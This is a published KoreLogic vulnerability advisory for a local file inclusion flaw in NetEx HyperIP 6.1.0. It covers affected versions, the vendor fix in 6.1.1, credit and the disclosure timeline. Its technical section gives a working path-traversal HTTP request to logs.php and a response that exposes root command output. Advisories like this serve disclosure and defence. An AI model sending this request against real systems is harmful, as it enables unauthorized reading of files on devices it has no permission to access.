KL-001-2018-005 : NetEx HyperIP Local File Inclusion Vulnerability

Title: NetEx HyperIP Local File Inclusion Vulnerability
Advisory ID: KL-001-2018-005
Publication Date: 2018.02.08
Publication URL: 
https://www.korelogic.com/Resources/Advisories/KL-001-2018-005.txt


1. Vulnerability Details

     Affected Vendor: NetEx
     Affected Product: HyperIP
     Affected Version: 6.1.0
     Platform: Embedded Linux
     CWE Classification: CWE-73: External Control of File Name or Path, 
CWE-592: Authentication Bypass Issues
     Impact: Arbitrary Filesystem Reads
     Attack vector: HTTPS

2. Vulnerability Description

     Local files can be included within the HTTP response given
     by logs.php

3. Technical Description

     Any arbitrary file, such as the one created in KL-001-2018-004, can
     be returned by the logs.php script.

       GET /logs.php?system=../../tmp/a.output&submit=Show+System+Log HTTP/1.1
       Host: 1.3.3.7
       Accept-Language: en-US,en;q=0.5
       DNT: 1
       Connection: close
       Upgrade-Insecure-Requests: 1

       HTTP/1.1 200 OK
       Date: Mon, 27 Mar 2017 13:07:51 GMT
       Server: Apache/2.2.3 (CentOS)
       X-Powered-By: PHP/5.1.6
       Content-Length: 502
       Connection: close
       Content-Type: text/html; charset=UTF-8

       <html>
       <head>
       <meta HTTP-EQUIV="Expires" CONTENT="0">
       <link REL="stylesheet" HREF="bdstyles.css" TYPE="text/css">
       </head>
       <body class="dsp">

       <H1>Show System Log  <font size=2>[ Monday @ 08:07:51 ]</font></H1>
       <pre>uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
       </pre>
       </body>
       </html>

4. Mitigation and Remediation Recommendation

     The vendor has released version 6.1.1 of HyperIP, which they state
     addresses this vulnerability.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.07.24 - KoreLogic submits vulnerability details to NetEx.
     2017.07.24 - NetEx confirms receipt.
     2017.08.16 - NetEx informs KoreLogic that this and other reported
                  vulnerabilities have been addressed in the forthcoming
                  release. ETA as of yet undetermined.
     2017.09.05 - 30 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2017.09.19 - NetEx informs KoreLogic that the forthcoming release
                  6.1.1 is expected to ship at the end of January 2018.
     2017.09.26 - 45 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2017.12.01 - 90 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2018.01.17 - 120 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
                  has gone live.
     2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description.


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